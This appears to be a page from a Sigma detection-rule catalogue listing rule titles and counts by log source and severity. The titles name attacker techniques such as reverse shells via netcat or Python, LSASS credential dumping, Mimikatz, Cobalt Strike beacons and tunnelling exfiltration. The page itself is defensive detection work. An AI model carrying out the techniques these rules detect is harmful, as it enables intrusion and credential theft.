macos-process_creation	67	Show Rules (67) User Added To Admin Group - MacOS MacOS Scripting Interpreter AppleScript Decode Base64 Encoded Text -MacOs Binary Padding - MacOS File Time Attribute Change Hidden Flag Set On File/Directory Via Chflags - MacOS Indicator Removal on Host - Clear Mac System Logs Clipboard Data Collection Via OSAScript Creation Of A Local User Account Hidden User Creation Credentials from Password Stores - Keychain System Integrity Protection (SIP) Disabled System Integrity Protection (SIP) Enumeration Disable Security Tools User Added To Admin Group Via Dscl User Added To Admin Group Via DseditGroup Root Account Enable Via Dsenableroot File and Directory Discovery - MacOS Credentials In Files GUI Input Capture - macOS Disk Image Creation Via Hdiutil - MacOS Disk Image Mounting Via Hdiutil - MacOS Suspicious Installer Package Child Process System Information Discovery Using Ioreg JAMF MDM Potential Suspicious Child Process JAMF MDM Execution JXA In-memory Execution Via OSAScript Launch Agent/Daemon Execution Via Launchctl Local System Accounts Discovery - MacOs Local Groups Discovery - MacOs MacOS Network Service Scanning Network Sniffing - MacOs File Download Via Nscurl - MacOS Suspicious Microsoft Office Child Process - MacOS OSACompile Run-Only Execution Payload Decoded and Decrypted via Built-in Utilities Potential Persistence Via PlistBuddy Remote Access Tool - Team Viewer Session Started On MacOS Host Macos Remote System Discovery Scheduled Cron Task/Job - MacOs Screen Capture - macOS Security Software Discovery - MacOs Space After Filename - macOS Split A File Into Pieces Osacompile Execution By Potentially Suspicious Applet/Osascript Suspicious Browser Child Process - MacOS Suspicious Execution via macOS Script Editor Potential Discovery Activity Using Find - MacOS Suspicious History File Operations Potential In-Memory Download And Compile Of Payloads Suspicious MacOS Firmware Activity System Network Discovery - macOS System Information Discovery Using sw_vers User Added To Admin Group Via Sysadminctl Guest Account Enabled Via Sysadminctl System Information Discovery Via Sysctl - MacOS System Information Discovery Using System_Profiler System Network Connections Discovery - MacOs System Shutdown/Reboot - MacOs Potential Base64 Decoded From Images Time Machine Backup Deletion Attempt Via Tmutil - MacOS Time Machine Backup Disabled Via Tmutil - MacOS New File Exclusion Added To Time Machine Via Tmutil - MacOS Potential WizardUpdate Malware Infection Gatekeeper Bypass via Xattr Potential XCSSET Malware Infection Clipboard Data Collection Via Pbpaste
windows-network_connection	65	Show Rules (65) Microsoft Binary Github Communication Suspicious Non-Browser Network Communication With Reddit API Suspicious Epmap Connection Network Connection Initiated By AddinUtil.EXE Uncommon Connection to Active Directory Web Services Uncommon Network Connection Initiated By Certutil.EXE Outbound Network Connection Initiated By Cmstp.EXE Outbound Network Connection Initiated By Microsoft Dialer Network Connection Initiated To AzureWebsites.NET By Non-Browser Process Network Connection Initiated To BTunnels Domains Network Connection Initiated To Cloudflared Tunnels Domains Network Communication With Crypto Mining Pool New Connection Initiated To Potential Dead Drop Resolver Domain Network Connection Initiated To DevTunnels Domain Suspicious Dropbox API Usage Suspicious Network Connection to IP Lookup Service APIs Suspicious Non-Browser Network Communication With Google API Communication To LocaltoNet Tunneling Service Initiated Network Connection Initiated To Mega.nz Process Initiated Network Connection To Ngrok Domain Communication To Ngrok Tunneling Service Initiated Potentially Suspicious Network Connection To Notion API Network Communication Initiated To Portmap.IO Domain Suspicious Non-Browser Network Communication With Telegram API Network Connection Initiated To Visual Studio Code Tunnels Domain Network Connection Initiated By Eqnedt32.EXE Network Connection Initiated By IMEWDBLD.EXE Network Connection Initiated Via Notepad.EXE Office Application Initiated Network Connection To Non-Local IP Office Application Initiated Network Connection Over Uncommon Ports Python Initiated Connection Outbound RDP Connections Over Non-Standard Tools RDP Over Reverse SSH Tunnel RDP to HTTP or HTTPS Target Ports RegAsm.EXE Initiating Network Connection To Public IP Remote Access Tool - AnyDesk Incoming Connection Silenttrinity Stager Msbuild Activity Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location Network Connection Initiated By Regsvr32.EXE Potentially Suspicious Malware Callback Communication Network Communication Initiated To File Sharing Domains From Process Located In Suspicious Folder Microsoft Sync Center Suspicious Network Connections Rundll32 Internet Connection Uncommon Outbound Kerberos Connection Potential Remote PowerShell Session Initiated Communication To Uncommon Destination Ports Outbound Network Connection To Public IP Via Winlogon Suspicious Outbound SMTP Connections Suspicious Network Connection Binary No CommandLine Suspicious Wordpad Outbound Connections Outbound Network Connection Initiated By Script Interpreter Potentially Suspicious Wuauclt Network Connection Local Network Connection Initiated By Script Interpreter Potential Pikabot C2 Activity Potential Compromised 3CXDesktopApp Beaconing Activity - Netcon New RDP Connection Initiated From Domain Controller Dfsvc.EXE Network Connection To Non-Local IPs Dfsvc.EXE Initiated Network Connection Over Uncommon Port Dllhost.EXE Initiated Network Connection To Non-Local IP Address HH.EXE Initiated HTTP Network Connection Msiexec.EXE Initiated Network Connection Over HTTP Network Connection Initiated By PowerShell Process Potentially Suspicious Azure Front Door Connection Network Connection Initiated From Users\Public Folder Suspicious Werfault.exe Network Connection Outbound
windows-registry_event	40	Show Rules (40) Autorun Keys Modification Creation of a Local Hidden User Account by Registry Pandemic Registry Key UAC Bypass Via Wsreset CMSTP Execution Registry Event Disable Security Events Logging Adding Reg Key MiniNt Esentutl Volume Shadow Copy Service Keys Wdigest CredGuard Registry Modification Windows Credential Editor Registry HybridConnectionManager Service Installation - Registry Registry Entries For Azorult Malware Potential Qakbot Registry Activity PrinterNightmare Mimikatz Driver Name Path To Screensaver Binary Modified Narrator's Feedback-Hub Persistence New DLL Added to AppCertDlls Registry Key NetNTLM Downgrade Attack - Registry New DLL Added to AppInit_DLLs Registry Key Office Application Startup - Office Test Windows Registry Trust Record Modification Registry Persistence Mechanisms in Recycle Bin New PortProxy Registry Entry Added RedMimicry Winnti Playbook Registry Manipulation WINEKEY Registry Modification Run Once Task Configuration in Registry Shell Open Registry Keys Manipulation Security Support Provider (SSP) Added to LSA Configuration Potential Credential Dumping Via LSASS SilentProcessExit Technique Sticky Key Like Backdoor Usage - Registry Atbroker Registry Change Suspicious Run Key from Download DLL Load via LSASS Suspicious Camera and Microphone Access OceanLotus Registry Activity OilRig APT Registry Persistence FlowCloud Registry Markers Leviathan Registry Key Activity SNAKE Malware Covert Store Registry Key Diamond Sleet APT Scheduled Task Creation - Registry Scheduled Task Created - Registry
windows-ps_module	35	Show Rules (35) Netcat The Powershell Version - PowerShell Module Potential Active Directory Enumeration Using AD Module - PsModule Alternate PowerShell Hosts - PowerShell Module Bad Opsec Powershell Code Artifacts Clear PowerShell History - PowerShell Module PowerShell Decompress Commands Malicious PowerShell Scripts - PoshModule Suspicious Get-ADDBAccount Usage PowerShell Get Clipboard HackTool - Evil-WinRm Execution - PowerShell Module Invoke-Obfuscation CLIP+ Launcher - PowerShell Module Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module Invoke-Obfuscation STDIN+ Launcher - PowerShell Module Invoke-Obfuscation VAR+ Launcher - PowerShell Module Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module Invoke-Obfuscation Via Stdin - PowerShell Module Invoke-Obfuscation Via Use MSHTA - PowerShell Module Invoke-Obfuscation Via Use Clip - PowerShell Module Invoke-Obfuscation Via Use Rundll32 - PowerShell Module Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module Malicious PowerShell Commandlets - PoshModule Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module AD Groups Or Users Enumeration Using PowerShell - PoshModule Remote PowerShell Session (PS Module) Suspicious PowerShell Download - PoshModule Use Get-NetTCPConnection - PowerShell Module Suspicious PowerShell Invocations - Generic - PowerShell Module Suspicious PowerShell Invocations - Specific - PowerShell Module Suspicious Get Local Groups Information Suspicious Computer Machine Password by PowerShell Suspicious Get Information for SMB Share - PowerShell Module Zip A Folder With PowerShell For Staging In Temp - PowerShell Module SyncAppvPublishingServer Bypass Powershell Restriction - PS Module Local Firewall Rules Enumeration Via NetFirewallRule Cmdlet
windows-driver_load	32	Show Rules (32) Credential Dumping Tools Service Execution Usage Of Malicious POORTRY Signed Driver PowerShell Scripts Run by a Services Vulnerable AVAST Anti Rootkit Driver Load Vulnerable Dell BIOS Update Driver Load Vulnerable Driver Load By Name Vulnerable GIGABYTE Driver Load Vulnerable HW Driver Load Vulnerable Lenovo Driver Load Malicious Driver Load PUA - System Informer Driver Load Malicious Driver Load By Name Driver Load From A Temporary Directory PUA - Process Hacker Driver Load Vulnerable Driver Load By Name Vulnerable HackSys Extreme Vulnerable Driver Load Vulnerable WinRing0 Driver Load WinDivert Driver Load Vulnerable Driver Load Invoke-Obfuscation CLIP+ Launcher Invoke-Obfuscation Obfuscated IEX Invocation Invoke-Obfuscation STDIN+ Launcher Invoke-Obfuscation VAR+ Launcher Invoke-Obfuscation COMPRESS OBFUSCATION Invoke-Obfuscation RUNDLL LAUNCHER Invoke-Obfuscation Via Stdin Invoke-Obfuscation Via Use Clip Invoke-Obfuscation Via Use MSHTA Invoke-Obfuscation Via Use Rundll32 Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION Meterpreter or Cobalt Strike Getsystem Service Installation Tap Driver Installation
windows-process_access	32	Show Rules (32) Suspicious In-Memory Module Execution Credential Dumping by LaZagne Credential Dumping Tools Accessing LSASS Memory Credential Dumping by Pypykatz Potential NT API Stub Patching Mimikatz Detection LSASS Access CMSTP Execution Process Access HackTool - CobaltStrike BOF Injection Pattern HackTool - Generic Process Access HackTool - LittleCorporal Generated Maldoc Injection HackTool - HandleKatz Duplicating LSASS Handle Lsass Memory Dump via Comsvcs DLL HackTool - SysmonEnte Execution LSASS Memory Access by Tool With Dump Keyword In Name Potential Credential Dumping Activity Via LSASS Credential Dumping Activity By Python Based Tool Remote LSASS Process Access Through Windows Remote Management Suspicious LSASS Access Via MalSecLogon Potentially Suspicious GrantedAccess Flags On LSASS Credential Dumping Attempt Via WerFault LSASS Access From Potentially White-Listed Processes Uncommon Process Access Rights For Target Image Potential Direct Syscall of NtOpenProcess Credential Dumping Attempt Via Svchost Suspicious Svchost Process Access Function Call From Undocumented COM Interface EditionUpgradeManager UAC Bypass Using WOW64 Logger DLL Hijack Malware Shellcode in Verclsid Target Process Potential Credential Dumping Attempt Via PowerShell LSASS Access From Program In Potentially Suspicious Folder Uncommon GrantedAccess Flags On LSASS Potential Shellcode Injection
windows-dns_query	24	Show Rules (24) DNS Query for Anonfiles.com Domain - Sysmon AppX Package Installation Attempts Via AppInstaller.EXE Cloudflared Tunnels Related DNS Requests DNS Query To Devtunnels Domain DNS Query To AzureWebsites.NET By Non-Browser Process DNS Server Discovery Via LDAP Query DNS HybridConnectionManager Service Bus Suspicious Cobalt Strike DNS Beaconing - Sysmon DNS Query To MEGA Hosting Website DNS Query Request By QuickAssist.EXE DNS Query Request To OneLaunch Update Service DNS Query Request By Regsvr32.EXE DNS Query To Remote Access Software Domain From Non-Browser App Suspicious DNS Query for IP Lookup Service APIs TeamViewer Domain Query By Non-TeamViewer Application DNS Query Tor .Onion Address - Sysmon DNS Query To Ufile.io DNS Query To Visual Studio Code Tunnels Domain Potential SocGholish Second Stage C2 DNS Query Potential Compromised 3CXDesktopApp Beaconing Activity - DNS Diamond Sleet APT DNS Communication Indicators DPRK Threat Actor - C2 Communication DNS Indicators DNS Request From Windows Script Host Possible DNS Rebinding
windows-pipe_created	20	Show Rules (20) PsExec Pipes Artifacts CobaltStrike Named Pipe ADFS Database Named Pipe Connection By Uncommon Tool CobaltStrike Named Pipe Pattern Regex CobaltStrike Named Pipe Patterns HackTool - CoercedPotato Named Pipe Creation HackTool - EfsPotato Named Pipe Creation HackTool - DiagTrackEoP Default Named Pipe HackTool - Koh Default Named Pipe HackTool - Credential Dumping Tools Named Pipe Created Alternate PowerShell Hosts Pipe New PowerShell Instance Created PUA - CSExec Default Named Pipe PUA - PAExec Default Named Pipe PUA - RemCom Default Named Pipe WMI Event Consumer Created Named Pipe Malicious Named Pipe Created PsExec Tool Execution From Suspicious Locations - PipeName Turla Group Named Pipes PsExec Default Named Pipe
opencanary-application	18	Show Rules (18) OpenCanary - FTP Login Attempt OpenCanary - GIT Clone Request OpenCanary - HTTPPROXY Login Attempt OpenCanary - HTTP GET Request OpenCanary - HTTP POST Login Attempt OpenCanary - MSSQL Login Attempt Via SQLAuth OpenCanary - MSSQL Login Attempt Via Windows Authentication OpenCanary - MySQL Login Attempt OpenCanary - NTP Monlist Request OpenCanary - REDIS Action Command Attempt OpenCanary - SIP Request OpenCanary - SMB File Open Request OpenCanary - SNMP OID Request OpenCanary - SSH Login Attempt OpenCanary - SSH New Connection Attempt OpenCanary - Telnet Login Attempt OpenCanary - TFTP Request OpenCanary - VNC Connection Attempt
rpc_firewall-application	17	Show Rules (17) Remote Schedule Task Lateral Movement via ATSvc Remote Schedule Task Recon via AtScv Possible DCSync Attack Remote Event Log Recon Remote Encrypting File System Abuse Remote Schedule Task Lateral Movement via ITaskSchedulerService Remote Schedule Task Recon via ITaskSchedulerService Remote Printing Abuse for Lateral Movement Remote DCOM/WMI Lateral Movement Remote Registry Lateral Movement Remote Registry Recon Remote Server Service Abuse Remote Server Service Abuse for Lateral Movement Remote Schedule Task Lateral Movement via SASec Recon Activity via SASec SharpHound Recon Account Discovery SharpHound Recon Sessions
windows-create_remote_thread	16	Show Rules (16) Suspicious Remote Thread Target HackTool - CACTUSTORCH Remote Thread Creation HackTool - Potential CobaltStrike Process Injection Remote Thread Created In KeePass.EXE Remote Thread Creation In Mstsc.Exe From Suspicious Location Potential Credential Dumping Attempt Via PowerShell Remote Thread Password Dumper Remote Thread in LSASS Remote Thread Creation Via PowerShell In Uncommon Target Rare Remote Thread Creation By Uncommon Source Image Remote Thread Created In Shell Application Remote Thread Creation By Uncommon Source Image Remote Thread Creation In Uncommon Target Image Remote Thread Creation Ttdinject.exe Proxy Potential Bumblebee Remote Thread Creation CreateRemoteThread API and LoadLibrary Remote Thread Creation Via PowerShell
windows-file_delete	14	Show Rules (14) Potential PrintNightmare Exploitation Attempt Backup Files Deleted EventLog EVTX File Deleted Exchange PowerShell Cmdlet History Deleted Process Deletion of Its Own Executable IIS WebServer Access Logs Deleted PowerShell Console History Logs Deleted Prefetch File Deleted TeamViewer Log File Deleted Tomcat WebServer Logs Deleted File Deleted Via Sysinternals SDelete Unusual File Deletion by Dns.exe ADS Zone.Identifier Deleted By Uncommon Application ADS Zone.Identifier Deleted
windows-file_access	12	Show Rules (12) Credential Manager Access By Uncommon Applications Access To Crypto Currency Wallets By Uncommon Applications Access To Windows Credential History File By Uncommon Applications Access To Windows DPAPI Master Keys By Uncommon Applications Access To Potentially Sensitive Sysvol Files By Uncommon Applications Microsoft Teams Sensitive File Access By Uncommon Applications Access To Browser Credential Files By Uncommon Applications Access To Chromium Browsers Sensitive Files By Uncommon Applications Access To Windows Outlook Mail Files By Uncommon Applications Access To Sysvol Policies Share By Uncommon Process Access To .Reg/.Hive Files By Uncommon Applications Unattend.XML File Access Attempt
windows-ps_classic_start	11	Show Rules (11) Nslookup PowerShell Download Cradle Delete Volume Shadow Copies Via WMI With PowerShell PowerShell Downgrade Attack - PowerShell PowerShell Called from an Executable Version Mismatch Netcat The Powershell Version Remote PowerShell Session (PS Classic) Renamed Powershell Under Powershell Channel Suspicious PowerShell Download Use Get-NetTCPConnection Uncommon PowerShell Hosts bXOR Operator Usage In PowerShell Command Line - PowerShell Classic
windows-registry_add	10	Show Rules (10) Sysinternals SDelete Registry Keys Potential NetWire RAT Activity - Registry Potential Persistence Via New AMSI Providers - Registry Potential COM Object Hijacking Via TreatAs Subkey - Registry Potential Persistence Via Disk Cleanup Handler - Registry Potential Persistence Via Logon Scripts - Registry PUA - Sysinternal Tool Execution - Registry Suspicious Execution Of Renamed Sysinternals Tools - Registry PUA - Sysinternals Tools Execution - Registry Potential Ursnif Malware Activity - Registry
kubernetes-application	10	Show Rules (10) Deployment Deleted From Kubernetes Cluster Kubernetes Events Deleted Potential Remote Command Execution In Pod Container Container With A hostPath Mount Created Privileged Container Deployed Creation Of Pod In System Namespace RBAC Permission Enumeration Attempt Kubernetes Secrets Enumeration New Kubernetes Service Account Created Potential Sidecar Injection Into Running Deployment
linux-file_event	10	Show Rules (10) Persistence Via Sudoers Files Potentially Suspicious Shell Script Creation in Profile Folder Triple Cross eBPF Rootkit Default LockFile Persistence Via Cron Files Wget Creating Files in Tmp Directory Triple Cross eBPF Rootkit Default Persistence Linux Doas Conf File Creation UNC4841 - Email Exfiltration File Pattern UNC4841 - Barracuda ESG Exploitation Indicators Python Path Configuration File Creation - Linux
windows-create_stream_hash	9	Show Rules (9) Creation Of a Suspicious ADS File Outside a Browser Download Hidden Executable In NTFS Alternate Data Stream Suspicious File Download From File Sharing Websites - File Stream Unusual File Download From File Sharing Websites - File Stream HackTool Named File Stream Created Exports Registry Key To an Alternate Data Stream Unusual File Download from Direct IP Address Potential Suspicious Winget Package Installation Potentially Suspicious File Download From ZIP TLD
windows-registry_delete	7	Show Rules (7) Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted Folder Removed From Exploit Guard ProtectedFolders List - Registry Terminal Server Client Connection History Cleared - Registry Removal Of AMSI Provider Registry Keys Removal of Potential COM Hijacking Registry Keys Removal Of Index Value to Hide Schedule Task - Registry Removal Of SD Value to Hide Schedule Task - Registry
jvm-application	5	Show Rules (5) Potential JNDI Injection Exploitation In JVM Based Application Potential Local File Read Vulnerability In JVM Based Application Potential OGNL Injection Exploitation In JVM Based Application Process Execution Error In JVM Based Application Potential XXE Exploitation Attempt In JVM Based Application
linux-network_connection	5	Show Rules (5) Linux Reverse Shell Indicator Communication To Ngrok Tunneling Service - Linux Communication To LocaltoNet Tunneling Service Initiated - Linux Linux Crypto Mining Pool Connections Potentially Suspicious Malware Callback Communication - Linux
macos-file_event	3	Show Rules (3) MacOS Emond Launch Daemon Startup Item File Created - MacOS Python Path Configuration File Creation - MacOS
windows-wmi_event	3	Show Rules (3) WMI Event Subscription Suspicious Scripting in a WMI Consumer Suspicious Encoded Scripts in a WMI Consumer
spring-application	2	Show Rules (2) Spring Framework Exceptions Potential SpEL Injection In Spring Framework
windows-file_change	2	Show Rules (2) File Creation Date Changed to Another Year Unusual File Modification by dns.exe
windows-file_rename	2	Show Rules (2) Suspicious Appended Extension Non-DLL Extension File Renamed With DLL Extension
django-application	1	Show Rules (1) Django Framework Exceptions
nodejs-application	1	Show Rules (1) Potential RCE Exploitation Attempt In NodeJS
python-application	1	Show Rules (1) Python SQL Exceptions
ruby_on_rails-application	1	Show Rules (1) Ruby on Rails Framework Exceptions
sql-application	1	Show Rules (1) Suspicious SQL Error Messages
velocity-application	1	Show Rules (1) Potential Server Side Template Injection In Velocity
windows-file_executable_detected	1	Show Rules (1) Potentially Suspicious Self Extraction Directive File Created
windows-ps_classic_provider_start	1	Show Rules (1) Tamper Windows Defender - PSClassic
windows-process_tampering	1	Show Rules (1) Potential Process Hollowing Activity
windows-raw_access_thread	1	Show Rules (1) Potential Defense Evasion Via Raw Disk Access By Uncommon Tools
windows-sysmon_error	1	Show Rules (1) Sysmon Configuration Error
windows-sysmon_status	1	Show Rules (1) Sysmon Configuration Modification
paloalto-file_event	1	Show Rules (1) Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - File Creation
paloalto-appliance	1	Show Rules (1) Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection

Top Levels

Level	Count	Rule Title
high	1675	Show Rules (1675) OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd Domestic Kitten FurBall Malware Pattern CobaltStrike Malleable Amazon Browsing Traffic Profile CobaltStrike Malleable (OCSP) Profile CobaltStrike Malleable OneDrive Browsing Traffic Profile Search-ms and WebDAV Suspicious Indicators in URL Usage Of Malicious POORTRY Signed Driver PowerShell Scripts Run by a Services Vulnerable AVAST Anti Rootkit Driver Load Vulnerable Dell BIOS Update Driver Load Vulnerable GIGABYTE Driver Load Vulnerable HW Driver Load Vulnerable Lenovo Driver Load Suspicious File Event With Teams Objects CrackMapExec File Creation Patterns LSASS Memory Dump File Creation CreateMiniDump Hacktool Suspicious CLR Logs Creation Svchost DLL Search Order Hijack Possible Process Hollowing Image Loading Microsoft Binary Github Communication Suspicious Epmap Connection AzureHound PowerShell Commands Execution via CL_Invocation.ps1 - Powershell Execution via CL_Mutexverifiers.ps1 PrintNightmare Powershell Exploitation Suspicious PowerShell Invocations - Generic Suspicious PowerShell Invocations - Specific Credential Dumping Tools Accessing LSASS Memory APT29 GALLIUM Artefacts Suspicious Certutil Command Usage Hurricane Panda Activity Lazarus Activity Apr21 Credential Acquisition via Registry Hive Dumping Execution via MSSQL Xp_cmdshell Stored Procedure Invoke-Obfuscation Via Use Rundll32 New Lolbin Process by Office Applications Suspicious File Download Using Office Application Execute MSDT.EXE Using Diagcab File MavInject Process Injection Process Memory Dumped Via RdrLeakDiag.EXE Trickbot Malware Reconnaissance Activity Excel Proxy Executing Regsvr32 With Payload Excel Proxy Executing Regsvr32 With Payload Alternate Office Applications Spawning Wmi Cli Alternate PowerShell AMSI Bypass Pattern Base64 Encoded Listing of Shadowcopy Malicious Base64 Encoded Powershell Invoke Cmdlets Suspicious Bitsadmin Job via PowerShell Stop Or Remove Antivirus Service Regsvr32 Anomaly Registry Dump of SAM Creds and Secrets Renamed PsExec Renamed PowerShell Renamed Rundll32.exe Execution Rundll32 JS RunHTMLApplication Pattern Suspicious Add Scheduled Task From User AppData Temp Suspicious Execution of Sc to Delete AV Services Suspicious Characters in CommandLine Run Whoami as SYSTEM Windows Update Client LOLBIN Abusing Windows Telemetry For Persistence - Registry User Account Hidden By Registry Disable Microsoft Office Security Features Adwind RAT / JRAT - Registry Office Security Settings Changed Potential Persistence Via COM Hijacking From Suspicious Locations SilentProcessExit Monitor Registration Accessing WinAPI in PowerShell for Credentials Dumping Mimikatz Detection LSASS Access RClone Execution Windows Defender Threat Detection Disabled Suspicious Esentutl Use Correct Execution of Nltest.exe Rclone Execution via Command Line or PowerShell Activity Related to NTDS.dit Domain Hash Retrieval New Service Uses Double Ampersand in Path SAM Dump to AppData Potential JNDI Injection Exploitation In JVM Based Application Potential Local File Read Vulnerability In JVM Based Application Potential OGNL Injection Exploitation In JVM Based Application Process Execution Error In JVM Based Application Potential XXE Exploitation Attempt In JVM Based Application Potential RCE Exploitation Attempt In NodeJS OpenCanary - FTP Login Attempt OpenCanary - GIT Clone Request OpenCanary - HTTPPROXY Login Attempt OpenCanary - HTTP GET Request OpenCanary - HTTP POST Login Attempt OpenCanary - MSSQL Login Attempt Via SQLAuth OpenCanary - MSSQL Login Attempt Via Windows Authentication OpenCanary - MySQL Login Attempt OpenCanary - NTP Monlist Request OpenCanary - REDIS Action Command Attempt OpenCanary - SIP Request OpenCanary - SMB File Open Request OpenCanary - SNMP OID Request OpenCanary - SSH Login Attempt OpenCanary - SSH New Connection Attempt OpenCanary - Telnet Login Attempt OpenCanary - TFTP Request OpenCanary - VNC Connection Attempt Remote Schedule Task Lateral Movement via ATSvc Remote Schedule Task Recon via AtScv Possible DCSync Attack Remote Event Log Recon Remote Encrypting File System Abuse Remote Schedule Task Lateral Movement via ITaskSchedulerService Remote Schedule Task Recon via ITaskSchedulerService Remote Printing Abuse for Lateral Movement Remote DCOM/WMI Lateral Movement Remote Registry Lateral Movement Remote Registry Recon Remote Server Service Abuse Remote Server Service Abuse for Lateral Movement Remote Schedule Task Lateral Movement via SASec Recon Activity via SASec SharpHound Recon Account Discovery SharpHound Recon Sessions Potential SpEL Injection In Spring Framework Suspicious SQL Error Messages Potential Server Side Template Injection In Velocity Antivirus Hacktool Detection Antivirus Web Shell Detection Antivirus Relevant File Paths Alerts Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure Potential Malicious Usage of CloudTrail System Manager AWS Config Disabling Channel/Recorder AWS EC2 Startup Shell Script Change AWS GuardDuty Important Change AWS IAM S3Browser Templated S3 Bucket Policy Creation AWS IAM S3Browser LoginProfile Creation AWS IAM S3Browser User or AccessKey Creation Modification or Deletion of an AWS RDS Cluster Restore Public AWS RDS Instance AWS SecurityHub Findings Evasion AWS Identity Center Identity Provider Change AWS User Login Profile Was Modified Azure Subscription Permission Elevation Via ActivityLogs Account Created And Deleted Within A Close Time Frame Changes to Device Registration Policy Users Added to Global or Device Admin Roles Application AppID Uri Configuration Changes Added Credentials to Existing Application Delegated Permissions Granted For All Users App Granted Microsoft Permissions App Granted Privileged Delegated Or App Permissions Application URI Configuration Changes Windows LAPS Credential Dump From Entra ID PIM Approvals And Deny Elevation PIM Alert Setting Changes To Disabled Changes To PIM Settings User Added To Privilege Role Bulk Deletion Changes To Privileged Account Permissions Azure Subscription Permission Elevation Via AuditLogs Temporary Access Pass Added To An Account User Risk and MFA Registration Policy Updated Anomalous Token Anomalous User Activity Activity From Anonymous IP Address Anonymous IP Address Atypical Travel Impossible Travel Suspicious Inbox Forwarding Identity Protection Suspicious Inbox Manipulation Rules Azure AD Account Credential Leaked Malicious IP Address Sign-In Failure Rate Malicious IP Address Sign-In Suspicious Sign-In From Malware Infected IP Password Spray Activity Primary Refresh Token Access Attempt Suspicious Browser Activity Azure AD Threat Intelligence SAML Token Issuer Anomaly New Country Unfamiliar Sign-In Properties Stale Accounts In A Privileged Role Invalid PIM License Roles Assigned Outside PIM Roles Activation Doesn't Require MFA Roles Activated Too Frequently Roles Are Not Being Used Too Many Global Admins Discovery Using AzureHound Suspicious SignIns From A Non Registered Device Sign-ins from Non-Compliant Devices Potential MFA Bypass Using Legacy Client Authentication Sign-in Failure Due to Conditional Access Requirements Not Met Use of Legacy Authentication Protocols Bitbucket Full Data Export Triggered Bitbucket Secret Scanning Exempt Repository Added Outdated Dependency Or Vulnerability Alert Disabled Github High Risk Configuration Disabled Github Push Protection Disabled Github Secret Scanning Feature Disabled Azure Login Bypassing Conditional Access Policies Disabling Multi Factor Authentication Okta FastPass Phishing Detection Okta New Admin Console Behaviours Potential Okta Password in AlternateID Field Okta Suspicious Activity Reported by End-user Okta User Session Start Via An Anonymising Proxy Service Auditing Configuration Changes on Linux Host Binary Padding - Linux BPFDoor Abnormal Process ID or Lock File Accessed Disable System Firewall Credentials In Files - Linux Linux Keylogging with Pam.d Modification of ld.so.preload Loading of Kernel Module via Insmod Logging Configuration Changes on Linux Host Equation Group Indicators Buffer Overflow Attempts Commands to Clear or Remove the Syslog - Builtin Code Injection by ld.so Preload Nimbuspwn Exploitation Potential Suspicious BPF Activity - Linux Shellshock Expression Privileged User Has Been Created Linux Command History Tampering Suspicious Activity in Shell Commands Suspicious Reverse Shell Command Line JexBoss Command Sequence Symlink Etc Passwd PwnKit Local Privilege Escalation Relevant ClamAV Message Guacamole Two Users Sharing Session Anomaly Suspicious Named Error Triple Cross eBPF Rootkit Default LockFile Triple Cross eBPF Rootkit Default Persistence Communication To Ngrok Tunneling Service - Linux Communication To LocaltoNet Tunneling Service Initiated - Linux Linux Crypto Mining Pool Connections Potentially Suspicious Malware Callback Communication - Linux Suspicious Invocation of Shell via AWK - Linux Capsh Shell Invocation - Linux Commands to Clear or Remove the Syslog Copy Passwd Or Shadow From TMP Path Linux Crypto Mining Indicators Atlassian Confluence CVE-2022-26134 Apache Spark Shell Command Injection - ProcessCreation Shell Invocation via Env Command - Linux ESXi Admin Permission Assigned To Account Via ESXCLI Shell Execution via Find - Linux Shell Execution via Flock - Linux Shell Execution GCC - Linux Shell Execution via Git - Linux Potential GobRAT File Discovery Via Grep Potential Netcat Reverse Shell Execution Shell Execution via Nice - Linux Suspicious Nohup Execution OMIGOD SCX RunAsProvider ExecuteScript OMIGOD SCX RunAsProvider ExecuteShellCommand Potential Perl Reverse Shell Execution Potential PHP Reverse Shell Python Reverse Shell Execution Via PTY And Socket Modules Inline Python Execution - Spawn Shell Via OS System Library Shell Execution via Rsync - Linux Suspicious Invocation of Shell via Rsync Shell Invocation Via Ssh - Linux Sudo Privilege Escalation CVE-2019-14287 Potentially Suspicious Execution From Tmp Folder History File Deletion Linux HackTool Execution Suspicious Java Children Processes Linux Recon Indicators Shell Execution Of Process Located In Tmp Directory Triple Cross eBPF Rootkit Execve Hijack Triple Cross eBPF Rootkit Install Commands Vim GTFOBin Abuse - Linux Linux Webshell Indicators Binary Padding - MacOS Clipboard Data Collection Via OSAScript Credentials In Files JXA In-memory Execution Via OSAScript Suspicious Microsoft Office Child Process - MacOS OSACompile Run-Only Execution Potential Persistence Via PlistBuddy Potential Base64 Decoded From Images Potential WizardUpdate Malware Infection Cisco Clear Logs Cisco Crypto Commands Cisco Disabling Logging Cisco Local Accounts DNS Query to External Service Interaction Domains Monero Crypto Coin Mining Pool Lookup DNS TXT Answer with Possible Execution Strings Wannacry Killswitch Domain Default Cobalt Strike Certificate OMIGOD HTTP No Authentication RCE Publicly Accessible RDP Service Possible Impacket SecretDump Remote Activity - Zeek First Time Seen Remote Named Pipe - Zeek Suspicious PsExec Execution - Zeek Apache Segmentation Fault Nginx Core Dump Windows WebDAV User Agent HackTool - CobaltStrike Malleable Profile Patterns - Proxy HackTool - Empire UserAgent URI Combo Raw Paste Service Access Flash Player Update from Suspicious Location APT User Agent Bitsadmin to Uncommon IP Server Address Bitsadmin to Uncommon TLD Crypto Miner User Agent Exploit Framework User Agent Hack Tool User Agent Malware User Agent Suspicious User Agent Suspicious External WebDAV Execution Java Payload Strings JNDIExploit Pattern SQL Injection Strings In URI Server Side Template Injection Strings Suspicious Windows Strings In URI Webshell ReGeorg Detection Via Web Logs Windows Webshell Strings Cross Site Scripting Strings Mimikatz Use Microsoft Malware Protection Engine Crash Potential Credential Dumping Via WER - Application Restricted Software Access By SRP Atera Agent Installation MSSQL Add Account To Sysadmin Role MSSQL Disable Audit Settings MSSQL SPProcoption Set MSSQL XPCmdshell Suspicious Execution MSSQL XPCmdshell Option Change Relevant Anti-Virus Signature Keywords In Application Log 